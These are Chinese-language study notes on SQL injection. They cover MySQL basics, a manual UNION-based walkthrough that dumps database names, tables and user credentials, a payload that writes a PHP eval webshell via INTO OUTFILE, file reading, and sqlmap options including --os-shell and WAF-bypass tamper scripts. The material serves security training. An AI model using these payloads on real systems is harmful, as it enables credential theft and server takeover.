SQL注入
SQL注入介绍
MYSQL基础
01、显示数据库 show databases;
02、打开数据库 use db_name;
03、显示数据表 show tables;
04、显示表结构 describe table_name;
05、显示表中各字段信息,即表结构 show columns from table_name;
06、显示表创建过程 show create table 表名;
07、列出当前mysql的相关状态信息 status;
08、删除数据库 drop database 数据库名;
09、清空数据表 delete from table_name; truncate table
table_name;
10、删除数据表 drop table table_name
11、数据库连接 mysql –uroot -proot
12、数据库退出 exitsql注入原理
SQL 注⼊漏洞的产⽣需要满⾜以下两个条件:
a. 参数是⽤户可控的,也就是前端传⼊后端的参数的内容是⽤户可以控制的;
b. 参数被带⼊数据库进⾏查询,也就是传⼊的参数被拼接到SQL语句中,并且被带⼊到数据库进⾏查询;
sql注入类型
按数据库类型:
Access、MsSQL、MySQL、Oracle、PostGreSQL、SQLite、MongoDB等;
按提交⽅式:
GET、POST、cookie、HTTP头、XFF;
按注⼊点类型:
数字型、字符型、搜索型;
按执⾏效果:
联合查询注⼊、报错注⼊、堆叠查询注⼊、时间盲注、布尔盲注;sql注入危害
SQL注⼊攻击最⼤的两个危害是读取数据库信息与获取Webshell
数据库信息泄露:泄露数据库中存放的数据,⽤户隐私等;
获取webshell:当权限为root且知道绝对路径时,可以直接写⼊⼀句话⽊⻢到服务器
union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "X:\\xx\\xx.php",
也可以查询null值;
⽹⻚篡改:注⼊出后台管理员⽤户,登录后台发布恶意数据、篡改后台数据等;
⽹站挂⻢:当拿到webshell或者获取到服务器权限后,可将⼀些⽹⻚⽊⻢挂在服务器上,
去攻击别⼈;
获取系统权限:当权限⾜够⾼时,可以获取系统主机的权限;
万能密码:利⽤特定的payload登录后台或其他⻚⾯;
⽂件读取:读取敏感⽂件
union select 1,2,hex(loadfile(D:\\phpStudy\\PHPTutorial\\WWW\\x.php))--+SQL手工注入
GET联合查询注入流程
01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息 version(),user(),@@datadir
04、获取当前数据库 database(), schema() ,
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据前置知识
逻辑运算符:and、or、!=
and:并且,前后两条语句必须全为真,才为真,否则为假。
1=1 and 2=2 真
1=1 and 1=2 假
or:或者,前后两条语句一条为真,就为真。
!=:不等于。
在sql语言中,and优先级大于or
--+ 注释符
-- 空格
#
limit 0,1 从你表中的第一个数据开始,只读取一个
order by 排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本注入步骤
判断 SQL注入注入点
' " 判断注入类型
数字型:
1 and 1=1 正确
1 and 1=2 报错
字符型
1' and '1'='1 正确
1' and '1'='2 报错
1' and 1=1-- -
1' and 1=2-- -获取字段数
1' order by 3--+ 正常
1' order by 4--+ 报错
1' union select 1,2,3 --+ 正常
1' union select 1,2,3,4 --+ 报错获取显示位
union select :将攻击者自定义的查询结果合并到原本查询结果中。联合查询,连接前后两条语句,合并查询的作用
version()、user()、@@datadir
-1' union select 1, version(),3--+
-1' union select 1, @@datadir,3--+
常用查询信息
database() # 在用的数据库名
user() # 用户信息
version() # 数据库版本信息
@@basedir # 数据库安装路径
@@version_compile_os # 操作系统版本获取数据库信息
为什么用-1?
因为数据库中有1的记录,那么会返回真实数值覆盖率union select的结果
而-1一般在数据库中没有,方便union数据独立回显
version()、user()、@@datadir
-1' union select 1, version(),3--+
-1' union select 1, @@datadir,3--+获取当前数据库
-1' union select 1,database(),3--+获取所有数据库
背景说明:information_schema.schemata是mysql的系统表,列出所有数据库,schema_name
-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+获取数据库表
背景知识:mysql的元数据存在于infomation_schema中,包括所有的数据库,表,字段结构
现在知道了数据库名叫security,我们可以继续枚举信息
table_schema='' 限制查询的数据库
information_schema.tables 所有数据表
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+获取表中所有字段
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+10.获取数据
-1' union select 1,concat_ws(':',username,password),3 from users limit 0,1 --+sqlmap自动化注入
Target⽬标选项
Techniques⽅法
Request请求选项
Detection探测选择
# 漏洞探测等级
在SQLMap中, --level 参数⽤于指定攻击的检测强度或深度。它表示SQLMap将执⾏的测试种
类和数量。不同的级别控制SQLMap在⼀次注⼊检测中执⾏多少测试请求。 level 可以设置为1到
5,默认值为1。以下是各个级别的详细说明:
1. Level 1 (默认):
SQLMap仅执⾏最基本的测试,适⽤于快速检测显⽽易⻅的SQL注⼊漏洞。
这个级别适⽤于⾼效扫描,因为它执⾏的请求较少。
2. Level 2:
SQLMap会增加⼀些额外的注⼊测试,⽐如检测更多的HTTP参数,包括HTTP头中的参数
(如User-Agent, Referer等)。
检测的范围更⼴,但依然保持较为基础的检测。
3. Level 3:
SQLMap会进⼀步增加测试种类,检测更多的参数。
此时,它还会测试URL路径部分(即URL的各个部分)以及POST请求中更多的参数。
适合⽤于较为深⼊的扫描,可能会发出更多的HTTP请求。
4. Level 4:
SQLMap会进⼀步扩展检测范围,测试⼏乎所有可能的输⼊点。
包括更复杂的参数、隐藏的输⼊字段以及多种类型的HTTP请求(如不同的ContentType)。
5. Level 5:
SQLMap会对所有可能的参数执⾏全⾯的SQL注⼊测试。
包括⾼级的SQL注⼊攻击,测试POST、GET、Cookie、HTTP头、URL路径等所有输⼊
点。
这个级别适合需要最全⾯和深⼊的检测,但会发出⼤量请求,适合⽤于渗透测试环境⽽⾮⽣
产环境。
# 指定⻛险级别
在SQLMap中, --risk 参数⽤于指定SQL注⼊攻击的⻛险级别。不同的⻛险级别决定了SQLMap
将执⾏的攻击种类及其潜在的破坏性。⻛险级别可以设置为1到3,默认值为1。以下是各个级别的解
释:
1. Risk 1 (低⻛险):
这是SQLMap的默认⻛险级别。
SQLMap仅执⾏安全性较⾼的查询,避免破坏性操作。
适合⽤于⽣产环境中,避免对⽬标系统造成明显的影响或损害。
2. Risk 2 (中等⻛险):
SQLMap会执⾏⼀些可能影响数据库性能的查询。
例如,它可能执⾏时间较⻓的查询或更多的数据检索操作。
⻛险⽐Risk 1⾼,但仍尽量避免对⽬标系统造成严重损害。
3. Risk 3 (⾼⻛险):
SQLMap执⾏的查询可能对⽬标系统产⽣较⼤影响,甚⾄导致系统崩溃或数据丢失。
包括修改数据、执⾏堆叠查询(如删除表、插⼊数据等)。
适⽤于测试环境或⽬标系统允许破坏性测试的情况。
# 指定注⼊技术
在使⽤SQLMap进⾏SQL注⼊时,techniques(技术)指的是SQLMap⽤于检测和利⽤不同类型的
SQL注⼊漏洞的⽅式。SQLMap⽀持多种SQL注⼊技术,包括以下⼏种常⻅的技术:
1. Boolean-based blind (B):基于布尔值的盲注。这种技术通过发送不同的SQL语句来观察⽬标
返回⻚⾯的布尔值(true或false)来推测数据库中的数据,⽽不直接显示查询结果。
2. Time-based blind (T):基于时间的盲注。这种技术通过向数据库发送包含时间延迟的SQL查
询。如果⽬标数据库存在注⼊漏洞,它将通过响应时间的延迟来推测数据。
3. Error-based (E):基于错误信息的注⼊。这种技术依赖于⽬标数据库返回的错误信息,利⽤错
误信息中泄露的数据来构造进⼀步的注⼊。
4. Union query-based (U):基于Union查询的注⼊。通过使⽤ UNION SELECT 语句将恶意查询
与原始查询合并在⼀起,返回结果中包含攻击者请求的数据。
5. Stacked queries (S):堆叠查询注⼊。允许执⾏多个SQL语句。SQLMap使⽤这种技术来在数据
库中执⾏多个语句,如插⼊、更新、删除等操作。
6. Out-of-band (O):带外数据传输注⼊。SQLMap通过HTTP、DNS等带外通道与数据库进⾏通
信。这种⽅法通常在直接的HTTP响应中⽆法回显时使⽤。拿shell的必要条件
知道⽹站的绝对路径
⾼权限数据库⽤户
secure_file_priv=''⽆限制
访问文件系统
权限操作-⽂件&命令&交互式
--os-shell 的工作原理
1. SQL注⼊的利⽤:
⾸先,SQLMap会通过已识别的SQL注⼊漏洞与数据库交互。根据数据库类型(如MySQL、
PostgreSQL、MSSQL、Oracle等),它会使⽤不同的SQL查询⽅式来执⾏数据库层⾯的命
令。
2. 数据库的命令执⾏能⼒:
许多数据库系统允许执⾏操作系统级别的命令,特别是在⾼权限的数据库⽤户环境下。
SQLMap会尝试利⽤数据库提供的函数或命令来执⾏操作系统命令。例如:
MySQL:可以通过 sys_exec() 函数或者通过加载和调⽤本地共享库⽂件来执⾏命
令。
PostgreSQL:可以使⽤ COPY ... TO PROGRAM 或者 xp_cmdshell 来运⾏操作
系统命令。
MSSQL:可以直接使⽤ xp_cmdshell 来执⾏命令。
3. 获取命令执⾏权限:
如果SQLMap能够通过注⼊SQL语句在数据库上获得执⾏操作系统命令的权限,它将利⽤这
个能⼒启动⼀个交互式的命令⾏,允许攻击者输⼊系统命令并接收输出。
4. ⽣成或写⼊恶意⽂件:
SQLMap可能会通过⽂件写⼊功能,将恶意脚本(如PHP、ASP等)上传到⽬标服务器,以
便通过这些脚本进⼀步执⾏系统命令。这些脚本通常是WebShell,它们可以让攻击者远程执
⾏更多的命令或控制⽬标系统。
5. 交互式Shell:
⼀旦能够成功执⾏操作系统命令,SQLMap会提供⼀个交互式的 os-shell ,允许⽤户在
⽬标系统上输⼊命令并查看输出。你可以像在本地系统上⼀样与⽬标操作系统交互,执⾏系
统级别的操作。
1. SQL注⼊:通过SQLMap检测到的注⼊漏洞,攻击者能够与数据库进⾏交互。
2. 命令注⼊:通过数据库的功能,SQLMap尝试执⾏操作系统级别的命令。
3. 命令执⾏:SQLMap为攻击者提供⼀个交互式的命令⾏界⾯,允许他们在⽬标操作系统上执⾏命
令。tamper绕过
使用方法:sqlmap -u [url] --tamper [模块名]
between.py
space2comment.py
space2dash.py
randomcase.py
charencode.py
base64encode.py
unmagicquotes.py
apostrophemask.py
equaltolike.py
unionalltounion.py
sqlmap -u "http://example.com/vuln.php?id=1" --tamper=space2comment.py,randomcase.py